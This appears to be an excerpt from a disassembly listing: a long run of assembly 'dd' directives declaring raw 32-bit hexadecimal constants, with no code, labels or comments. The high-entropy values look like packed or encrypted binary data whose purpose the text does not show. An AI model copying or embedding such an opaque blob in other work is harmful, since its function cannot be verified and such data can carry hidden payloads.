		dd 0C4475B6Bh, 1287F079h, 54EC85h, 1BC234E9h, 4715AA83h
		dd 602A100h, 5E493D87h,	78137F73h, 80290979h, 60A0CF20h
		dd 0BBEC456Dh, 0A5D79300h, 0BD92313Ah, 2A743B50h, 0A7C36BBh
		dd 99ECCC69h, 0EB2D00E8h, 0B737BCAh, 0FA32E40Fh, 85AF60EEh
		dd 1E9A153h, 63B38801h,	0D74C8E6Eh, 1AD654E0h, 9238F100h
		dd 0B7FA64CFh, 0F3490032h, 124A1C9Eh, 0AB008BDCh, 15B029A2h
		dd 5C99275Ah, 0DF008116h, 30B6E5C0h, 8005243Fh,	15069AEFh
		dd 2D0CA400h, 7C722FCh,	0DAEEA2F7h, 1C9DD066h, 0D600FD8Ch
		dd 7D24659Eh, 280BFE33h, 0B118A4h, 40D57BF4h, 9FC5E5BCh
		dd 5D210D00h, 0AC11FF2Eh, 0A33A2DA9h, 6C00F358h, 9EA1ADA7h
		dd 0A493CDh, 609C1928h,	0B2863097h, 5BB17809h, 0D0FC801Fh
		dd 169E284h, 4347753Ah,	0E0E6813Eh, 8300201Ch, 4E6A655Bh
		dd 30E60F4h, 55B01E97h,	10A03A0Bh, 0EB00B5BCh, 0AE916762h
		dd 316FFEh, 161425E7h, 0A6CD52F8h, 2F5B2A00h, 0BBE65894h
		dd 73190E8Ch, 33C0A09Fh, 206F477Bh, 4A6DC80Fh, 1EFC0027h
		dd 0C3DC5Ch, 93015A21h,	421B83EFh, 64BC841Ch, 4C4ABE00h
		dd 780EB8h, 0F72E958Dh,	8945D31Ch, 96623507h, 5575FF8h
		dd 59327CC0h, 0DF0C0AB5h, 1FD3FE53h, 3206483h, 559EA76Bh
		dd 7FFA4A88h, 3619202h,	0C04DD594h, 0F33DA14h, 4E9C2435h
		dd 167FEB00h, 9848A15Eh, 6D120096h, 0D3EF036Bh,	95B900A2h
		dd 1DF4C9F0h, 1301411Ah, 3870D844h, 5080908Bh, 0AEB9E65Fh
		dd 620C98F0h, 26B264B7h, 0B37F1D61h, 7775005Ch,	0D9C17A11h
		dd 3217C00h, 97653DE9h,	1DD40019h, 153FB704h, 802CC4Dh
		dd 2676DB6Bh, 0E22BC0A2h, 87480150h, 4F9CD6E8h,	0DBA8C4DDh
		dd 5555E13h, 0D3ACCA00h, 77CBB1D5h, 167100B7h, 0EFE15CB0h
		dd 38002904h, 2E7E2615h, 33F7BD6h, 0C21EF4E3h, 6E90DB3Bh
		dd 0EA0AAC66h, 8C8A6F2Ah, 0DB60E3Ch, 5DB7A119h,	0F7F47D45h
		dd 9D080098h, 23DB1D4Dh, 0B04CD84h, 0E16534A5h,	4AB87A80h
		dd 0C90D07C6h, 0A07D593Ch, 0DB398391h, 0B230AB02h, 6982FE1Ch
		dd 4EDD7702h, 0DCBDC4h,	0E91E4856h, 408DEBA9h, 7B545513h
		dd 34A73601h, 4DF4EDFAh, 0E810794Eh, 0D0662A1Ah, 0F9534888h
		dd 9F628F00h, 0AF0D1EBFh, 281AB701h, 63F149CFh,	88EC26F1h
		dd 78D600D0h, 0A2CA6884h, 0FC2CFF1Dh, 0CC00CAD7h, 0C338CD13h
		dd 0A1E00123h, 0CEA8DCACh, 0FF01608Dh, 0F051B900h, 9B9C46C7h
		dd 0E7B00Ch, 40BE2612h,	1D52A017h, 70332726h, 0D27F9103h
		dd 0D16EF9A9h, 0A4996881h, 60D50540h, 83002F40h, 0F9AF2B9Ch
		dd 2CF98h, 0F6AD73A7h, 4381F8B7h, 59FBA80Ah, 6597A031h
		dd 8B84C400h, 1475B6D1h, 0BC8EB95Ah, 60B0EA09h,	0ACBE8D80h
		dd 8201A22Eh, 9AA4F976h, 108F2C1Ch, 7B20D63Eh, 0F21BF463h
		dd 40F8F898h, 5DA44F00h, 2DAC05Eh, 0A3C1001Fh, 0BFD1CAF3h
		dd 0E5004B8Bh, 0C22B0A8Ah, 44731Eh, 602DC11Dh, 10319B1h
		dd 6D188000h, 0DC92EAE2h, 0C0840024h, 1E52EC3Bh, 1407888Fh
		dd 5067ABD3h, 875BE520h, 3F33002Ah, 344705Eh, 8B581F17h
		dd 0B2017FB8h, 7907582Ch, 470BBD6h, 133A3CE9h, 42302133h
		dd 32BA09C8h, 0E8DF0303h, 0B8017E6Ah, 0EE13857h, 12CD17BCh
		dd 8FD6AB23h, 0F36A4AF0h, 1C99E401h, 174D77BDh,	3CD75CD8h
		dd 0B080B1E9h, 0E1E221A1h, 34703C97h, 0BC00B3E8h, 0FB914B5Bh
		dd 7A2F86Bh, 0E44A43B7h, 58BA0378h, 0F35BA1B8h,	0A0851D00h
		dd 0D3C301Ch, 322000E7h, 0BD475A81h, 4101AA54h,	50FAB2D6h
		dd 0CC41C376h, 0AF603119h, 5E54268Dh, 92600ACh,	5FCBE760h
		dd 0E40390A1h, 200226Bh, 0A4447123h, 0C08C968Dh, 0AC5D0630h
		dd 0F8076A6Ch, 957EE068h, 18401230h, 8F9300F6h,	98B645BCh
		dd 0ED02AACBh, 0C6DFFC6h, 0E7C00764h, 5272B076h, 0F5E6DECEh
		dd 961C1952h, 0C60076FCh, 2068F9F8h, 0CDB00913h, 9238C762h
		dd 41011EF0h, 9E20BEF9h, 17C06887h, 1E491808h, 5FD2A8ABh
		dd 13FBE87h, 385D1C98h,	0B152D060h, 2ED30210h, 8A9501h
		dd 574F4C40h, 58FC9234h, 0F2483Ch, 0DE07A159h, 0A6A0670Bh
		dd 0BF8118ADh, 6FDDA5A9h, 21806880h, 0C172DECFh, 80608956h
		dd 8461FABFh, 662604BAh, 60BD38E0h, 203C27C1h, 0C048A16Ch
		dd 0DCDE2BA1h, 9E716D60h, 3090611Dh, 41E78120h,	5ECFE1F4h
		dd 881B3ADCh, 38F2F84Eh, 573B6C5Ch, 81483BA9h, 2A75CEB7h
		dd 60288AF9h, 3AF88CB3h, 8CCC109Dh, 0C040175Ch,	0B088B311h
		dd 300F786Fh, 0A0308641h, 0E000BAA9h, 0DF6243B2h, 5314C872h
		dd 57C064EDh, 86F091Ah,	8066271Ch, 70F6BBCDh, 543CFC04h
		dd 0F4540CF9h, 0E0D8D842h, 54303668h, 121B8178h, 0D47D7Eh
		dd 2454C010h, 0FB72F2ECh, 0CE32F61Ah, 3AD43640h, 0FA08094Dh
		dd 0F400F9FBh, 0A57FD127h, 3A1890F7h, 3209AF6Fh, 2406C03Dh
		dd 7C875043h, 213A5581h, 0E0523C31h, 12DAC026h,	0A75974C3h
		dd 1DA9837Ch, 80946F7Fh, 86D560F4h, 8E5E0300h, 0E85D8C99h
		dd 27EF0E4h, 9E211E70h,	0E0BC260Dh, 5AA70104h, 40008DE3h
		dd 0FE211C33h, 53441202h, 8004B31Eh, 8A0CE69Dh,	729E1FBDh
		dd 6850181Ch, 5366A9DEh, 0F038B908h, 720DF5Bh, 0C109231Ah
		dd 0F054E9A5h, 0EC56C1D0h, 9581C3B0h, 1FFED0F9h, 5BE70130h
		dd 613E1C6Bh, 56D8D373h, 0DD0F8A27h, 8303ADC5h,	0A120D236h
		dd 80989F40h, 0D71E90FCh, 0B2DF7100h, 7EA5B3FEh, 88AED84h
		dd 0FB05D53h, 0DE80E71Eh, 0D2DF0AC1h, 10BC83Ah,	0D1DB0C52h
		dd 3887E91Fh, 4380055Eh, 100CBCBEh, 20DAB03Eh, 0F6E1036Dh
		dd 0EC29B592h, 0A470AAA0h, 3A171E18h, 0C9D8C7E0h, 0BCA14C08h
		dd 0C9A47EC3h, 5A8998CFh, 63FC5E08h, 56EA608Dh,	8F102Ch
		dd 0D9763E0Fh, 419817A8h, 21B2088Dh, 0B7F85490h, 37E1503Eh
		dd 97432851h, 0C08812CCh, 0F1EC06F3h, 2A61D0B6h, 6376F238h
		dd 0C61312E0h, 419BB218h, 8CA83D6Eh, 0B3820919h, 8777E014h
		dd 34052B90h, 5EC72F06h, 109EF805h, 0CDD2D01Dh,	709D400Eh
		dd 7C6AFE16h, 0EE0B0C20h, 0F77467h, 488527AAh, 0B93E0154h
		dd 96FE3FCAh, 5C0470B7h, 0BFC3F3F3h, 1F9E1012h,	0F2092C1Eh
		dd 27100616h, 0B65E0088h, 0EB7D8CC6h, 0BE121B3Fh, 64091D03h
		dd 0D840F8Eh, 92EBA089h
		dd 376C4163h, 8C5B9061h, 80716B00h, 30674676h, 0AC220726h
		dd 0A97881E3h, 884628CAh, 0E07C9BCAh, 757649C6h, 47304260h
		dd 0ADF693CFh, 104981B8h, 804B83D0h, 9ACCA780h,	96D7E54h
		dd 873E2119h, 14FE1C01h, 9E08BF8Eh, 9212A471h, 80326809h
		dd 0F77FCBE0h, 0B3E4E9EFh, 0DD20C647h, 0C72C78F2h, 0E40F34A0h
		dd 0CC891E88h, 0B4540279h, 0ED8C60D9h, 110C9025h, 0B0DF13DDh
		dd 60BA86C9h, 0E987D949h, 3E011B05h, 7E21119Ch,	68375192h
		dd 83394183h, 2FD2A1B8h, 80B4E752h, 0B91B43EAh,	0C784A050h
		dd 29570ACCh, 2E4F403h,	0DF124B7Eh, 2A697036h, 0A44BD7h
		dd 523A427h, 8C98C903h,	0C2DC87A3h, 0BC42E654h,	781504Dh
		dd 8D49C431h, 0C2A6E8BBh, 608C23D4h, 0CD82D31Ch, 4478556Eh
		dd 448379CFh, 88B046BBh, 3E6282C0h, 38C24941h, 63E51A47h
		dd 3408B678h, 3C789DFEh, 0B2081E78h, 16465B6Bh,	3B22E8A7h
		dd 40258623h, 12083DE3h, 253B5A3h, 0E0567DB8h, 0A30C649Eh
		dd 0F950B58Ah, 88496287h, 2862B45Eh, 6029836h, 0E502C45Eh
		dd 19E86110h, 8315461h,	0AB1F9C1Fh, 0F8051454h,	8AD50C80h
		dd 0FA58209Dh, 577C4870h, 0A00B8028h, 0C2339F7Bh, 13EF27B0h
		dd 9C01104Fh, 47E01316h, 57360700h, 0E8266498h,	0FB0C18FEh
		dd 2E10FDh, 1EBE4066h, 0EE9E039Ch, 72ECDE05h, 0FC959B80h
		dd 886207Ch, 343DDBD7h,	68D1670Ch, 4C31FF5Dh, 9C486F0h
		dd 0F1B63E41h, 0D1424C04h, 41B7815Ch, 70A159B4h, 0C893ECACh
		dd 0B08B7BE0h, 0A88948E6h, 7C6B4717h, 2A38A2A4h, 30C47B30h
		dd 0DC8186A7h, 0AC34A19Eh, 5B8B0C17h, 0BDA82440h, 7493D290h
		dd 976F82C0h, 5086617Bh, 306E9287h, 80F951C4h, 54A0E650h
		dd 96E74CBEh, 0B78BD868h, 1B222401h, 2A48F27Dh,	3D7EE830h
		dd 9E18072Eh, 0AA5E4883h, 7D8AC20Bh, 1E548316h,	0D091718h
		dd 2F3C09E8h, 1EEFFCA5h, 7B1107DCh, 2FDC153h, 4480E020h
		dd 0A7589898h, 18FE0BC0h, 3B1085E6h, 1A52C8C1h,	58D22870h
		dd 0B2179CABh, 0DA14431Dh, 7AA3CB84h, 892180Ch,	50AA287Eh
		dd 9A13D4F7h, 0DC4E50A0h, 0E4FA3312h, 0F818CF18h, 0D2187892h
		dd 574C0B80h, 8223352h,	24E9CD70h, 37409627h, 84F2D003h
		dd 607162h, 0CE72E0E9h,	6A12ED73h, 0DE194271h, 78084323h
		dd 51F24084h, 2EC9EE7h,	509D38FCh, 0C7D040E2h, 0A412047Fh
		dd 87691E9Eh, 0C1D1B43Ch, 30310B18h, 0C4B014E8h, 0ACD35E16h
		dd 309BC805h, 0FBE9B404h, 0D4956480h, 0F21D018Ah, 0A3BE20CAh
		dd 0F73DE00Fh, 37BC4B50h, 9E280098h, 7F039CD7h,	0D2F6F8BFh
		dd 40E07435h, 704A922Bh, 3A9C407h, 2A107CFh, 4EA3B241h
		dd 9638D2F0h, 201F1828h, 18C26872h, 41DC432h, 737CE041h
		dd 0C5BC9280h, 1D551208h, 4C7A09C8h, 2581146Dh,	0E3CDE80Bh
		dd 6883C20h, 0DD8A0185h, 76E8E07Bh, 146C4C4Bh, 280D075Eh
		dd 2762F2A2h, 46FC40E8h, 0B4487463h, 0C93F1460h, 0AEC2128Ch
		dd 676F0404h, 641990B3h, 39CBB0CFh, 3BC6838Ch, 13EEA35Dh
		dd 20EC898h, 4C0BBD8Ch,	2B01F04Fh, 23249BB4h, 6C28388Bh
		dd 95BE2480h, 1E254076h, 98A40270h, 8F2CE1A9h, 0A0613474h
		dd 0C8029EF4h, 9CA37DF8h, 0DFE9C860h, 8D940F8h,	2E60C300h
		dd 222CE83h, 4FAD2303h,	6B20FC7h, 87C468E5h, 24DC9027h
		dd 9E89EDDh, 0E422AB5Eh, 84C0526Eh, 2C9C6782h, 13C2D4D8h
		dd 45F08A79h, 828B5720h, 44609384h, 9FEF77DEh, 0C42E1008h
		dd 0A14F0h, 70BF4254h, 3B49A8F2h, 0C0B8EC56h, 90D5C78Ch
		dd 8830C27Dh, 30B4E0DAh, 0C70977B0h, 67C2A63h, 85300418h
		dd 7C050330h, 0AAA8DCFEh, 72008136h, 0DD85D55Eh, 744CEB3Ah
		dd 7CA80356h, 0F3C4C3B2h, 0DCE03102h, 0CE0244h,	4A27B435h
		dd 53A1F800h, 5AC2F37h,	78AF7636h, 218F1866h, 3E0B181Dh
		dd 88E0CFFAh, 94B4100h,	0BFEB3B10h, 0AB7839AFh,	492B7862h
		dd 6CF4001Eh, 7E9D59BDh, 0A500155Eh, 18584AD9h,	3A4F3763h
		dd 0EF005084h, 0F2D9546h, 0DC78246Eh, 0CFE854B8h, 5DE4A1Fh
		dd 80F0C50Fh, 54A2524Fh, 0A1413AAFh, 0B7E3EF0Ch, 6507BB08h
		dd 7D188F2Ch, 0D7E02F40h, 0D46F0CDCh, 193805E6h, 0E0F313Fh
		dd 4A6B3A35h, 0F5505857h, 0D06501ACh, 755E733Bh, 0ABE09E8Fh
		dd 1B601829h, 40B46CE4h, 0E2705504h, 574F543Fh,	1168C0C8h
		dd 0A09AF436h, 3FB58Ch,	512F57EBh, 48AF3762h, 31E80E60h
		dd 3118042Dh, 0C25801A4h, 3CF0BC98h, 0D48F16CEh, 0F06F0E00h
		dd 1F2F3178h, 5842Ah, 0F57D638h, 0EBF63345h, 0FC165C01h
		dd 0DD4EEE8Bh, 2B30BC40h, 8776FEFh, 2C7CE100h, 327C630Fh
		dd 24346F20h, 8CEAFh, 9A0C972Fh, 473B380h, 8F83A41Dh, 6BB627C0h
		dd 0B2D4B09h, 0C671C2DCh, 0B3F95480h, 1A01A4ABh, 0E481D0ADh
		dd 184A8E74h, 0C4BA990Fh, 4DF1E1C0h, 6A52A79Bh,	0AC10E10h
		dd 0AA30C1BDh, 0F9C45AA4h, 0E3E0027Ch, 8664BF80h, 0BE0C4496h
		dd 5987212Eh, 5FCB30DBh, 0BD46A1C0h, 2F5E818Dh,	80E05925h
		dd 504C3B38h, 23B9407Ch, 8260BE61h, 6042676Dh, 62FAA889h
		dd 2429BE69h, 7A607C75h, 3086DE6Dh, 30101BECh, 0D6F035E4h
		dd 55567000h, 979C31C9h, 24245649h, 90651C87h, 562E6DDEh
		dd 0C8F0B500h, 0DA42579Dh, 8590AD80h, 80B91B94h, 9557D1ABh
		dd 5B71AA62h, 674B4D8h,	357A1694h, 0F500A8C0h, 0A023BFEAh
		dd 29488263h, 2324B377h, 0D12567FCh, 806A445Eh,	95F1D5B8h
		dd 0C69D4023h, 0C0D29748h, 0A5817C87h, 3B4EC891h, 1D5E3500h
		dd 0F7D79C04h, 1530BE10h, 433BF85h, 44E54988h, 0FEF60858h
		dd 0AC94AD81h, 112E00B6h, 15562F02h, 80DA2624h,	311079F0h
		dd 7531C8A9h, 846C04E6h, 0E7200A7Fh, 8AFCE9D6h,	0F0F8D85Ah
		dd 7F08BC32h, 1273A7F6h, 242C7CB7h, 668D6304h, 0C883AF9Ch
		dd 36BECAFBh, 9A06208Ch, 3964881h, 0BDB507D0h, 0B7753C95h
		dd 8B00EE7Ah, 0F904EAA8h, 0A208B262h, 1E30B478h, 89B193FCh
		dd 3C05CCA8h, 0C0F445E9h, 537C6878h, 85F71F04h,	3C803836h
		dd 26BE76FEh, 0F804EE04h, 971A7F10h, 0DFC01907h, 6812DA43h
		dd 747842BAh, 69AC04FBh, 813B8821h, 5476E030h, 0CD703C1Ch
		dd 0B4F07A09h, 95182007h, 2BC481D3h, 40705FDEh,	0CAAFF7C7h
		dd 341C0649h, 86C6380Ah, 87708770h, 5C194FBh, 558C0004h
		dd 8481C930h, 0C070BB56h, 7CF1CB44h, 81ECAB10h,	58EC80FCh
		dd 1E70AD0Dh, 855B044Ah, 95BC80CCh, 34982FEAh, 7042F32Bh
		dd 0D119E440h, 0F528403Dh, 0BED9B602h, 210DB44h, 0E8826DE5h
		dd 78B40D6Ch, 5AA39E04h, 1CD2C460h, 443C408Ch, 780D566Dh
		dd 0ACF0C480h, 0E8AB3DB7h, 0EDE910E9h, 0AB40BFD5h, 0B8E1ECEDh
		dd 44CC1EFCh, 0D760802Eh, 7C86B0CAh, 18307AD8h,	3889A0A5h
		dd 0A0B0CA75h, 78A68415h, 1D17A074h, 88C320A8h,	988B552Ah
		dd 874FF01Dh, 0A415C610h, 0CEF0F4F3h, 4F22B90Bh, 78916019h
		dd 8758FB44h, 43252415h, 1DF0A07Ch, 0D1314BBh, 0EC02F83Ah
		dd 0AF04E32Eh, 0ECA8023Eh, 2E7F50A9h, 0E9647300h, 68F34984h
		dd 6A4E1CF1h, 0F010EBF1h, 11BFA880h, 0E061FE24h, 1022FECAh
		dd 1B2E892Ch, 0F4705EAEh, 441F48DFh, 401B1263h,	707D150Ch
		dd 0CD0284E3h, 2C64BD4Ah, 8FF86037h, 3A78AD61h,	0C48C3584h
		dd 75C4800Ah, 0EC00D12Bh, 0E91953A4h, 0AD604B04h, 4D76027Ch
		dd 687DCCh, 8F051C55h, 6052E4EAh, 8AB7C68h, 7CB43D41h
		dd 651AB500h
		dd 8FB1A4E9h, 22CC1F9Ch, 0C595713Eh, 7C874439h,	900487ECh
		dd 3B3D81EDh, 80B34904h, 0BD5418C0h, 61700415h,	0AE6DA074h
		dd 0F061521Dh, 9050053Eh, 81F0AFC7h, 363950E4h,	7CF81064h
		dd 0AF8418EAh, 758308B2h, 0E6506098h, 0E33CC49Ch, 7F487C74h
		dd 0CC2416B8h, 0A409344Bh, 18C0118Ch, 0AF617144h, 8C520194h
		dd 24CECBC1h, 0A65C72FCh, 4B044028h, 0C4E37309h, 2103E90h
		dd 0E4B27EF4h, 4A023B3Dh, 0F5F0867Dh, 65C8F8B8h, 911810A7h
		dd 30CEBAA4h, 189AD8E4h, 44256924h, 3E43EC09h, 0EA1509A0h
		dd 0D80039C7h, 77A10555h, 0B0BA602Bh, 536A41E0h, 14174D92h
		dd 9A7B8D02h, 244FA420h, 0A8360B80h, 812E9DD7h,	0E00C7097h
		dd 81EE063Fh, 0BD4767A0h, 0F0679C84h, 5AC97AC3h, 73B3AD9h
		dd 1E30A21Bh, 0DCB08439h, 0C1062C9Fh, 0C13DDA33h, 422ED518h
		dd 0AD78B888h, 0C4AE1C7Ch, 8020DB79h, 0C7FB35DCh, 0A4779D00h
		dd 8EE4BD4Fh, 48BF74A7h, 40C90CAh, 5D184A45h, 3ECD03Eh
		dd 0A4E32F34h, 32A87415h, 9730A93Ah, 1224EC82h,	6DD330C8h
		dd 0E4419B81h, 4421B084h, 0B077FFF0h, 8BB6224h,	88C8EDE4h
		dd 10C4D7DFh, 6C81DB2Fh, 0C45E605Fh, 0B9DABF03h, 0C801F170h
		dd 9C3A0C15h, 40305F37h, 3821FD24h, 0A820FE61h,	4BC82464h
		dd 9C323FD8h, 0E4485C10h, 0F0980543h, 7C38673Ah, 2ED90D62h
		dd 0FFC461AEh, 6531D9BBh, 0F07CC490h, 0E8DF1344h, 5400FB16h
		dd 80EC5684h, 0F0616304h, 10B6C8C4h, 1BE9AF64h,	0E4E30892h
		dd 0C8D848ACh, 68852318h, 0BD7C465Dh, 31B4D759h, 0C6C4BC05h
		dd 16C1B427h, 0C1B1EF47h, 0C6F70038h, 0AB57199Dh, 67A9E0AAh
		dd 683FC0BCh, 402234F3h, 890B438h, 0D052D731h, 0A427C6E4h
		dd 26FAE1C0h, 0CC88107Dh, 979C0701h, 444FEBE7h,	206C8052h
		dd 1129DC65h, 44C06422h, 94D5083Ah, 82950024h, 0FC207DAFh
		dd 28E0009Bh, 5DA0D76Dh, 3102B40Dh, 54809E97h, 0DF9D14EFh
		dd 0FC5F5004h, 0AE57D500h, 0B209C07Dh, 34E211DDh, 36203E3Ch
		dd 4EACE92Eh, 6DA385Bh,	58787008h, 0F97710CFh, 6E1500BFh
		dd 96602391h, 492274D5h, 3EF0F8B7h, 2A2ADB25h, 9702F401h
		dd 1820734Ch, 8214EF7Ah, 3C9D9B1h, 4E77F0A0h, 8A77E4EEh
		dd 0D3353E1Eh, 0F0B1C66h, 0C088051Ah, 0FC472887h, 0A00481D0h
		dd 0C0C4936Eh, 31B88878h, 2B50540h, 97901C6Ch, 5C4F6EA1h
		dd 98894D02h, 0AB952074h, 172690E5h, 0BA978453h, 751F9C7Ch
		dd 1833319Ch, 35F540h, 0FA2F1D97h, 0C540517h, 14B8C09Ah
		dd 0D627D8ACh, 95056436h, 5189BA0Bh, 40B2D492h,	0F765E040h
		dd 0CC0C20h, 0E3F790FEh, 92574B9Fh, 8072BD00h, 88F025D0h
		dd 0F5F63A4Ah, 0AF0D4803h, 0ABF0B0C8h, 0D13D46E8h, 0C60EFAF1h
		dd 5D54CAD4h, 0F066A00h, 13A3649h, 41558BDAh, 0FFD1E999h
		dd 0C29518C0h, 0A08A6D00h, 68F3ADBh, 0C3500651h, 700840C8h
		dd 0CCEAF61Dh, 0ABBBAD00h, 0F91285A8h, 99D4B0D3h, 0D5240065h
		dd 0B78D6315h, 4652F695h, 0AA0CC034h, 80DF2ABFh, 51038BE6h
		dd 0A91768C3h, 0EBAEA0ABh, 0B8E830CCh, 5D45485Ch, 0FF03F074h
		dd 5EA56458h, 0F885A056h, 0B649145Ch, 75B03483h, 1E02CFA8h
		dd 468F05F5h, 1B08015Bh, 0C8B09EF0h, 0CCC56440h, 622AD4D3h
		dd 80765034h, 0CBC0391Eh, 7AF710h, 0AA161426h, 3EC79E8h
		dd 77E94599h, 484728AFh, 705481B4h, 0FE68F6h, 0F0410C86h
		dd 8CB6281Fh, 401A080Dh, 0A7A008h, 0D23588C6h, 31FE3FB5h
		dd 16E47307h, 119022B7h, 7FABDE6h, 0B937F77Fh, 0ABAC10Bh
		dd 61C5C47h, 0E6385303h, 0BA105FE0h, 8A170082h,	0F7210A72h
		dd 9E33E1C7h, 0A63840F1h, 0B0A7FE5h, 18143A37h,	1FBD0250h
		dd 9F52AA2Ah, 0CFDBC011h, 4C290C42h, 38770914h,	0A0D3B01Ch
		dd 286B30B8h, 0E3C76668h, 0E02B6CECh, 74436C7Fh, 8FC8B9B4h
		dd 7E8611D0h, 2C2900F4h, 977F2837h, 600141Fh, 49AF80Ah
		dd 0C0C65B4Ah, 41F6358Ch, 0EA3A4F6Ch, 8DDD83FBh, 1F6FCC42h
		dd 0C31A2C08h, 0F1848A06h, 0C42F83FFh, 11166CE1h, 7E008B64h
		dd 0E101FBD5h, 4A1B052Dh, 0EAC40678h, 372978A2h, 8318F78Ah
		dd 880170E9h, 6A07D088h, 0AAE05DDBh, 1D0FFC3Eh,	0E69217h
		dd 5447E237h, 0E8A1E9B9h, 8088FEF7h, 3E5CD8D0h,	0CB792114h
		dd 83263F80h, 2CB77890h, 0C00800C5h, 0EC777F30h, 119FBE7h
		dd 15E0C2C3h, 0E46CC844h, 10A3D53h, 46125B20h, 34042D71h
		dd 1C811C98h, 6080C8FFh, 1E4C583h, 41E8BC73h, 0E8D85032h
		dd 719CA656h, 4CC3008h,	0D1BA97C8h, 3D0B60E9h, 0B0080A49h
		dd 30659C8Dh, 0E68054FBh, 0E8A3E3B1h, 8AD38EEh,	0A93E5480h
		dd 18AA2B6Ah, 38B60611h, 36824BB7h, 0D6CD1FA4h,	3C8F901Eh
		dd 70F2B1A6h, 0B6EE7314h, 128BE294h, 1FC89EA5h,	9440D55Ch
		dd 5E9A91Dh, 6F06037h, 0F0201480h, 7C728B2Bh, 4C3DB140h
		dd 0C0076181h, 41CE1766h, 0D0D22EB4h, 88931A37h, 89CD34E0h
		dd 5E4D05EFh, 6FC8610h,	4024D7D4h, 28725724h, 13EF76F8h
		dd 3BFC3F1h, 913E2614h,	0FC5B782Ah, 0F100894Dh,	2FCC003h
		dd 4688A0CCh, 7F1D0CFAh, 7788F557h, 742A273Ch, 0F7909762h
		dd 614C413Eh, 8C1BF425h, 20D6E604h, 6DCC5DD8h, 0C1C850C6h
		dd 51F91748h, 0D029D07Ah, 0BE0097F8h, 23CC2834h, 6E81E4A1h
		dd 0FF8668F4h, 7D2BC0B9h, 6AC0A483h, 62205DC9h,	0AF06C8E9h
		dd 4AD72441h, 1E5880A0h, 81A0EC94h, 41F8DDA6h, 1E824E9Ch
		dd 0A4C01900h, 89468AD3h, 337BB3FAh, 710C4418h,	0C09D75C6h
		dd 0AE21FB3Ch, 0A62CF768h, 7B0EC5B1h, 38C24CE3h, 66AC02D5h
		dd 0A3F463CCh, 2001894h, 81AD1D31h, 6F58947h, 0E3CD8EE7h
		dd 0A321380Ah, 6339E0FEh, 0FA30EDA2h, 0D638109Ch, 996A016Eh
		dd 579A4D1Bh, 9E8FD4E0h, 0F0FD7507h, 0D0417A26h, 60948416h
		dd 0DBB0607Fh, 6C00801Fh, 3A4D6112h, 1F878E9h, 0E39965D0h
		dd 0D094CFF0h, 6A7C2790h, 0D80646E8h, 3723A431h, 0D2BD0708h
		dd 3F66C432h, 0C309E483h, 994D04C0h, 8F0384F8h,	0E30F9A9h
		dd 0E08AA0EDh, 0CB5E104Eh, 2F6B00E5h, 6ACAFA86h, 0EAA107C0h
		dd 0C05377C7h, 0B57FD35Bh, 5E0E46EEh, 62D12FEBh, 3CA01BDh
		dd 9DD8809Fh, 0E80FA8B1h, 83967BDDh, 0C0A4665Dh, 4184BDh
		dd 0BF722FA2h, 446E810Eh, 9F656B00h, 75A63901h,	0FA10C07Ah
		dd 4DA5BA52h, 33C9E600h, 9DE83ACBh, 0EAD83A8Dh,	0EF481403h
		dd 900F465Dh, 825A0F75h, 947BF03Dh, 388A0130h, 0DD9B9030h
		dd 87E331C9h, 0B6F6FD90h, 0D4781C4Ah, 0D2923CA3h, 8003F3C0h
		dd 263DEF04h, 194029B7h, 47A7601Ch, 0D840C057h,	0ABC12B13h
		dd 8851C380h, 0E72D57E0h, 48B3C900h, 0EA957ED9h, 7DE8149Fh
		dd 0F7B11C86h, 9D15F4DDh, 29D368C5h, 0AA4847Ch,	3C0B7C7Ah
		dd 1731FACh, 4D157E1Ch,	0F685AA1h, 4CCF1E3Eh, 1E93A049h
		dd 9A1488B3h, 6C1E7016h, 0C8AC5F04h, 330066F6h,	0F57E2729h
		dd 1F3E4804h, 14808AFEh, 0C0AC50BDh, 0EA51E380h, 0F0B915Dh
		dd 8FC41DEFh, 680C0D44h, 1231841Bh, 806734D2h, 0B2185368h
		dd 0AFC54AFAh, 0D5F980F0h, 0E779525Ah, 3D7FF580h, 0AD234AA1h
		dd 0E3835FC2h, 13D90033h, 6AA1C299h, 0AAE8B5ABh, 0F89FD02Bh
		dd 0EFCC5FC0h, 6C67442Ch, 0BDE9A608h, 0E0D6F8D1h, 79506930h
		dd 0E551D3h, 9A777E1Ah,	0B9A0DE1Bh, 9C3BEE8h, 0E0B3A81Eh
		dd 12D0DDFEh, 2711DEBh,	0BB167DD8h, 473CCC41h, 0AF438390h
		dd 27885A7h, 4A559DC4h
		dd 74652440h, 0ECBDFB0Ch, 0A84920ABh, 0CA9724C8h, 3EE0E340h
		dd 1089C219h, 6D45F48h,	73BB7EF8h, 500DE8C1h, 0D133D005h
		dd 5EB0B838h, 8B24AE2Ch, 9304748Dh, 108259C3h, 38B4BED3h
		dd 3F185D6Fh, 0E8333898h, 6C700163h, 7BB80F3Bh,	5C9E99Dh
		dd 0C1FD2880h, 0F5027FD2h, 0BE1C75BBh, 3868B601h, 4F350BEh
		dd 0CF2161EAh, 7D54C1A8h, 80C4267Bh, 0AEC2A6D2h, 9259001Fh
		dd 989CAFF3h, 29F0F47Dh, 0C89713Eh, 10F520E9h, 0EEB7CF2h
		dd 8F5815A9h, 2DC64CE0h, 0ED3EEE27h, 3F07245Ah,	4D8BD700h
		dd 0C17F2478h, 4F978561h, 9CA8E4FAh, 0E0AEF800h, 0E8484959h
		dd 13461FB3h, 1DB4C0FBh, 0E9019179h, 9F4FFE00h,	0AEEB35EFh
		dd 75D63B85h, 0B314DE02h, 18961106h, 80A0B200h,	75D538DEh
		dd 0D1850095h, 25547987h, 9729C6B3h, 0EC401CF5h, 4AF19Dh
		dd 0F0CD61F7h, 2F6681E7h, 0B2181774h, 86407BE6h, 48306EC5h
		dd 4DB819ACh, 0A60FC87Ch, 0DBFEE29h, 91FDA010h,	8100344Bh
		dd 6594D32Dh, 553075DBh, 5E0AA186h, 15E41DC2h, 0FB040754h
		dd 524812Dh, 7844F032h,	6451357Ch, 3981E80h, 0C6BB92Fh
		dd 0B0C80AF1h, 0D07C3065h, 9D0CBB3Ah, 10F41CDCh, 0F7A900BCh
		dd 36AEADA0h, 0C9602BB0h, 0F87CDEA0h, 30602B39h, 0C028C8C0h
		dd 0EE91CA13h, 0F9F1E006h, 18583CEDh, 0F0938890h, 860C65A7h
		dd 8D762D9h, 1CD78ACh, 87283099h, 0D3F24D39h, 7CB695E2h
		dd 6A17B8C0h, 0A0F85374h, 0E5E17034h, 864CB600h, 0AA72F900h
		dd 544419F8h, 127937DDh, 2229C3D8h, 74C1703Bh, 0E3EE993Bh
